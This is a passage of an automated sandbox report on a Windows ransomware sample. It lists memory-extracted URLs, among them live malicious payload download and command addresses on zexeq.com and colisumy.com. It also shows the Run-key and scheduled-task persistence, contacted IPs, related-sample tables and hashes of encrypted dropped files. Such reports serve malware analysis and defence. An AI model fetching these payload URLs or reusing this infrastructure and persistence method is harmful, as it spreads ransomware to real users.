http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	n41dQbiw1Y.exe, 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	n41dQbiw1Y.exe, 00000004.00000003.2518857943.000000000081B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2520149380.000000000081C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	scriptCache-current.bin.4.dr	false		high
https://we.tl/t-e5pgPH03fe	n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518857943.000000000081B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2520149380.000000000081C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000927000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/r	n41dQbiw1Y.exe, 00000004.00000002.2519993895.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://profiler.firefox.com	scriptCache-current.bin.4.dr	false		high
http://www.reddit.com/	n41dQbiw1Y.exe, 00000004.00000003.1935981381.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json-Agent:	n41dQbiw1Y.exe, 00000001.00000003.1667111388.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000748000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.nytimes.com/	n41dQbiw1Y.exe, 00000004.00000003.1935921192.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://opendgame.ddns.net/endgame	n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1936239885.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/	n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exe(w	n41dQbiw1Y.exe, 00000004.00000003.2518901316.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.000000000080E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org/W	scriptCache-current.bin.4.dr	false		high
https://api.2ip.ua/geo.jsonP	n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	scriptCache-current.bin.4.dr	false	Avira URL Cloud: safe	unknown
https://mzl.la/3NS9KJd	scriptCache-current.bin.4.dr	false		high
https://api.2ip.ua/geo.jsonl	n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/2	scriptCache-current.bin.4.dr	false		high
http://colisumy.com/dl/build2.exe	n41dQbiw1Y.exe, 00000004.00000003.2518901316.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.000000000080E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.widevine.com/3	scriptCache-current.bin.4.dr	false	Avira URL Cloud: safe	unknown
https://we.tl/t-e5pgPH03jz(	n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonc	n41dQbiw1Y.exe, 0000000B.00000002.1895210832.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000898000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/Root	n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	scriptCache-current.bin.4.dr	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco	scriptCache-current.bin.4.dr	false		high
https://merino.services.mozilla.com/api/v1/suggest5	scriptCache-current.bin.4.dr	false		high
https://api.2ip.ua/geo.jsondll	n41dQbiw1Y.exe, 0000000B.00000002.1895210832.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-e5pgPH03	n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000948000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.youtube.com/	n41dQbiw1Y.exe, 00000004.00000003.1936139234.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/H	n41dQbiw1Y.exe, 00000008.00000002.1812654712.0000000000758000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000003.1811980705.0000000000756000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json3	n41dQbiw1Y.exe, 00000001.00000003.1668600110.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000001.00000003.1668911358.00000000006EB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.wikipedia.com/	n41dQbiw1Y.exe, 00000004.00000003.1936083410.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.live.com/	n41dQbiw1Y.exe, 00000004.00000003.1935853677.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonRhq	n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonZhi	n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exe	n41dQbiw1Y.exe, 00000004.00000003.2518901316.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.000000000080E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco	scriptCache-current.bin.4.dr	false		high
http://zexeq.com/files/1/build3.exe$runF	n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/_j	n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.google.com/	n41dQbiw1Y.exe, 00000004.00000003.1935798654.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.40.141.211	zexeq.com	Germany		24940	HETZNER-ASDE	true
104.21.80.1	api.2ip.ua	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587010
Start date and time:	2025-01-09 21:15:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	n41dQbiw1Y.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	635a73433a258fa5a9b3b015f57ca84e1c296e9b65888fb64ebb602213a9d49d
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@19/1346@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 82 Number of non-executed functions: 234

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 173.222.162.32, 13.107.246.45
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: n41dQbiw1Y.exe

Simulations

Behavior and APIs

Time	Type	Description
15:16:53	API Interceptor	1x Sleep call for process: n41dQbiw1Y.exe modified
20:16:31	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe s>--Task
20:16:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
20:16:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.40.141.211	2704IeeQyo.exe	Get hash	malicious	SmokeLoader	Browse	host-file-host6.com/
	e6reA52T4I.exe	Get hash	malicious	SmokeLoader	Browse	host-file-host6.com/
	w4DO1Z18yg.wsf	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	UkHkCa3IYV.wsf	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	3312.PDF.wsf	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	RmbF3635xY.exe	Get hash	malicious	SmokeLoader	Browse	ceoconstractionstore.pl/index.php
	abc0f6a2936703cd32608e7a0c06cd7b1da2f012ad7eb.exe	Get hash	malicious	CryptOne, Nymaim, PrivateLoader, RedLine, SmokeLoader, onlyLogger	Browse	gmpeople.com/upload/
	vwaoMjcyAw.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	Qi4Mj8hG3t.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
	br0A8E2X6I.exe	Get hash	malicious	SmokeLoader	Browse	selebration17io.io/index.php
104.21.80.1	6uHfmjGMfL.exe	Get hash	malicious	Amadey	Browse	clientservices.sgoogleapis.observer/api/index.php
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	my.cradaygo.com/smmylet
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/pmpa/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	hiranetwork.com/administrator/index.php
	downloader2.hta	Get hash	malicious	XWorm	Browse	2k8u3.org/wininit.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.2ip.ua	16oApcahEa.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.32.1
	f6ffg1sZS2.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	buildz.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	Q3FGHfhdgU.exe	Get hash	malicious	Djvu	Browse	188.114.96.3
	Wm0uFsapfrnONF16Njxegq7s.exe	Get hash	malicious	Djvu	Browse	188.114.97.3
	66d5df681876c_file010924.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	tsnsd8pOvn.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	C0XWmZAnYk.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
zexeq.com	setup.exe	Get hash	malicious	Babuk, Djvu	Browse	188.40.141.211
	c62d6a8f03122f152f75051babb0a9ad178223ae33a2205caf5675f29cf3cef3_payload.exe	Get hash	malicious	Babuk, Djvu	Browse	199.59.242.150
	baaf76a5d567125252c32a834369f3658341d8224c4a058275c6760c43d7545b_payload.exe	Get hash	malicious	Babuk, Djvu	Browse	199.59.242.150
	3485f3cbe491a8770a5f05f4cfcd7742a6182fc61a450d2f8d364ca4c0af1c2e_payload.exe	Get hash	malicious	Babuk, Djvu	Browse	175.119.10.231
	9dfb6b41c90732c9206ef6f65a941b1061126ead69e3715d79519196dad5899c_payload.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	175.120.254.9
	UpS8Qm873s.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	175.120.254.9
	g0Zq7nJjus.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	196.188.169.138
	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	109.175.29.39
	sbvN2ih5AU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	175.120.254.9
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	186.182.55.44

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	https://downloads.jam-software.de/ultrasearch/UltraSearch-Setup.exe	Get hash	malicious	Unknown	Browse	116.202.5.43
	https://customers.jam-software.de/downloadTrialProcess.php?article_no=671&	Get hash	malicious	Unknown	Browse	78.47.225.43
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	195.201.80.48
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	195.201.80.48
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	136.243.64.147
	sora.arm7.elf	Get hash	malicious	Unknown	Browse	159.69.147.8
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	136.243.64.147
	DyM4yXX.exe	Get hash	malicious	Vidar	Browse	94.130.191.182
	digitalisierungskonzept_muster.js	Get hash	malicious	Unknown	Browse	188.40.120.141
	digitalisierungskonzept_muster.js	Get hash	malicious	Unknown	Browse	188.40.120.141
CLOUDFLARENETUS	http://cesinc365.xemitronax.ru/9FAvn/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://p3rsa.appdocumentcenter.com/BpdLO	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://balalayka-life.com/k60oG0	Get hash	malicious	Unknown	Browse	172.67.218.249
	Statement#4011928.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://app.whirr.co/p/cm4711if90205nv0h2e4l0imu	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://docsend.com/view/sutbz9ibkqcisjtv	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	stage3.exe	Get hash	malicious	CobaltStrike	Browse	188.114.97.3
	https://ranprojects0s0wemanin.nyc3.digitaloceanspaces.com/webmail.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	stage3.exe	Get hash	malicious	CobaltStrike	Browse	104.21.80.1
	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.80.1
	DyM4yXX.exe	Get hash	malicious	Vidar	Browse	104.21.80.1
	http://cipassoitalia.it	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.80.1
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse	104.21.80.1
	xCnwCctDWC.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Fabookie, Glupteba, RedLine, SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.644519014534386
Encrypted:	false
SSDEEP:	12:kcAyOaMJSV9GJEet+tFZVbDg4Zbwz/Yb0R/8WDd0qkpLJu3X1Ycii9a:GyO3JQYSZdHwsb0RUWDdwpL83XGbD
MD5:	BC23856944C17F46A9B259738212147B
SHA1:	AF744C9AA056294EE84558265D0FD2DC84FDD23A
SHA-256:	7655E85BC295A378C4F0CD9036B9C52ED54383E84F60F9DC3BD9B997C74930FE
SHA-512:	D499EA8F5FB184A5DA03ADCF8A944936DEAFD30E8E54EA299F4C6856630CAC4DBCFB0D151969E7905A5C10F8EC19029B90C3628BF275A87CF69392B8446D76DB
Malicious:	false
Preview:	2023/R...==...k"ReOw.$..F.y....5P.n.$R..&.:'...P2.....z...S:8;....9io..\.<.v...MYH.]..Wl}.~!..6.J..TQ.....2cF)RM....N.E.....X.!<.%..T1.).K...se....c..+..)v..FUg.\|....+t..t..Y.....-.aM..S.....].r.R...E2...n.....tF....r.H...!....-.........M.V..=...M.:...T..P.....@U...;#@..Kn.KA.l...+%.....8V.....ZA.......Jb..>.T@A............-1..t....2...1.=....Yhx.M..+../v.pbO..\.VV2F....a./6.x\...\...?.\...+s.z1k...vo...x.E.W..l..../..!..1Rb.La:@"..@...~hYAo.).h(..V.:Q.ri...N...;b[.J....<.7....x.m...{............+GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.644519014534386
Encrypted:	false
SSDEEP:	12:kcAyOaMJSV9GJEet+tFZVbDg4Zbwz/Yb0R/8WDd0qkpLJu3X1Ycii9a:GyO3JQYSZdHwsb0RUWDdwpL83XGbD
MD5:	BC23856944C17F46A9B259738212147B
SHA1:	AF744C9AA056294EE84558265D0FD2DC84FDD23A
SHA-256:	7655E85BC295A378C4F0CD9036B9C52ED54383E84F60F9DC3BD9B997C74930FE
SHA-512:	D499EA8F5FB184A5DA03ADCF8A944936DEAFD30E8E54EA299F4C6856630CAC4DBCFB0D151969E7905A5C10F8EC19029B90C3628BF275A87CF69392B8446D76DB
Malicious:	false
Preview:	2023/R...==...k"ReOw.$..F.y....5P.n.$R..&.:'...P2.....z...S:8;....9io..\.<.v...MYH.]..Wl}.~!..6.J..TQ.....2cF)RM....N.E.....X.!<.%..T1.).K...se....c..+..)v..FUg.\|....+t..t..Y.....-.aM..S.....].r.R...E2...n.....tF....r.H...!....-.........M.V..=...M.:...T..P.....@U...;#@..Kn.KA.l...+%.....8V.....ZA.......Jb..>.T@A............-1..t....2...1.=....Yhx.M..+../v.pbO..\.VV2F....a./6.x\...\...?.\...+s.z1k...vo...x.E.W..l..../..!..1Rb.La:@"..@...~hYAo.).h(..V.:Q.ri...N...;b[.J....<.7....x.m...{............+GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.65475542439579
Encrypted:	false
SSDEEP:	12:kU1Z6qTCQtOyTwE1xwxbshkRAWEkcpxG1c/9p5JecfLqfagV8+sLeSAMXMpiTdKK:1km9kEU9s+Rf+pwO/L5soLkaW8+qeSLX
MD5:	78E17C55CCB063A257569B02B72E60CC
SHA1:	B7F6F4A6617F62B8B1132A84AC34908368900E3C
SHA-256:	6367812D93E72D6594AA35955D61B61EB0A46D2E88D7699ABE349E05A4909B97
SHA-512:	3BFD6A4A41EC4F1FFD52A6991D25F5430EE5DD3DA054B530AFB954E8BE0ED0E5469D7CF92A5605ACA5E4A32FDB2A86F2EC94B53C46F50E7E53AD3C8EFC499691
Malicious:	false
Preview:	2023/.!.....2.v....- z..B.M\4....@-lS>"..H(s.2L..Z.aUO .3l.........'A.Y......f&.Z.4.;x..uC}1E`....y.j..d.mhH.{..m[-.9....s.fDL\|.d..~.....$...... X.-..x...9..qU@....[.1....X..}.5.)G?'..D.xy}zC..J."....m....c.JA.....Q.(A.q[..h.5.X...t;.U5..G.....!.L&...w.z.u....l.....e..Q...8..l....g..{}Q...H..X.A....-g!e..D.y0..F..c......'......}....I->.6.!l2..W..Z....5S....i....S7`h...$....i.Mh3..b8..S..h2..{...(....M...q..T..w....U@.s."._...q.xD.&....L. ..@.h.i... .x .8..<!..D........ W.(m......Ry.h..,k.y.i......S..A..........%@.....n.P.o.."YV.G..@.t.m.( ...."..:)!}...h.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.65475542439579
Encrypted:	false
SSDEEP:	12:kU1Z6qTCQtOyTwE1xwxbshkRAWEkcpxG1c/9p5JecfLqfagV8+sLeSAMXMpiTdKK:1km9kEU9s+Rf+pwO/L5soLkaW8+qeSLX
MD5:	78E17C55CCB063A257569B02B72E60CC
SHA1:	B7F6F4A6617F62B8B1132A84AC34908368900E3C
SHA-256:	6367812D93E72D6594AA35955D61B61EB0A46D2E88D7699ABE349E05A4909B97
SHA-512:	3BFD6A4A41EC4F1FFD52A6991D25F5430EE5DD3DA054B530AFB954E8BE0ED0E5469D7CF92A5605ACA5E4A32FDB2A86F2EC94B53C46F50E7E53AD3C8EFC499691
Malicious:	false
Preview:	2023/.!.....2.v....- z..B.M\4....@-lS>"..H(s.2L..Z.aUO .3l.........'A.Y......f&.Z.4.;x..uC}1E`....y.j..d.mhH.{..m[-.9....s.fDL\|.d..~.....$...... X.-..x...9..qU@....[.1....X..}.5.)G?'..D.xy}zC..J."....m....c.JA.....Q.(A.q[..h.5.X...t;.U5..G.....!.L&...w.z.u....l.....e..Q...8..l....g..{}Q...H..X.A....-g!e..D.y0..F..c......'......}....I->.6.!l2..W..Z....5S....i....S7`h...$....i.Mh3..b8..S..h2..{...(....M...q..T..w....U@.s."._...q.xD.&....L. ..@.h.i... .x .8..<!..D........ W.(m......Ry.h..,k.y.i......S..A..........%@.....n.P.o.."YV.G..@.t.m.( ...."..:)!}...h.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.727712124294481
Encrypted:	false
SSDEEP:	24:YKWB00mUKAvxYIVdYcdBomM/TR/UhR+1rbD:YYyHdYcdBozd/UhR4PD
MD5:	9D5D31419FEE424F5040B201A255C3B1
SHA1:	64796748A95EC2AD409DB24E1085A4F7CACFA961
SHA-256:	3AFA5F7271C64ABA5EC401FFAFE6F592845A7861838CB6B647ED68C78278F6C1
SHA-512:	3D911CF110A746746DAA9BCEB939B9581DAA70E92D8D16B1214CDC5158597B2CB113713E1B65EF00E16BB3E9A99A6DFBBB6AA67FA30E9F0C0D63E9EA0C1A14AF
Malicious:	false
